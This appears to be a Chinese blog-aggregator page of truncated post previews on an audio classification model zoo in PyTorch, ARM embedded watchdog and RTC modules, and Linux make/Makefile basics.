源码&#xff1a;https://github.com/Shybert-AI/AudioClassificationModelZoo-Pytorch 模型测试表 模型网络结构batch_sizeFLOPs(G)Params(M)特征提取方式数据集类别数量模型验证集性能EcapaTdnn1280.486.1melUrbanSound8K10accuracy0.974, precision0.972 recall0.967, F1-s…...

ARM嵌入式学习--第十二天(WDOG,RTC)

--WDOG -介绍 WatchDog是为了能够防止程序跑飞而使用的一种硬件模块&#xff0c;如果你的程序没有跑飞&#xff0c;那么你的程序会定时的去喂看门狗&#xff1b;如果你的程序跑飞了&#xff0c;那么就不会再去喂狗了&#xff0c;如果超过了喂狗时间&#xff0c;那么狗就会自己…...

自动化构建-make/Makefile 【Linux基础开发工具】

文章目录 一、背景二、Makefile编译过程三、变量四、变量赋值1、""是最普通的等号2、“:” 表示直接赋值3、“?” 表示如果该变量没有被赋值&#xff0c;4、""和写代码是一样的&#xff0c; 五、预定义变量六、函数**通配符** 七、伪目标 .PHONY八、其他常…...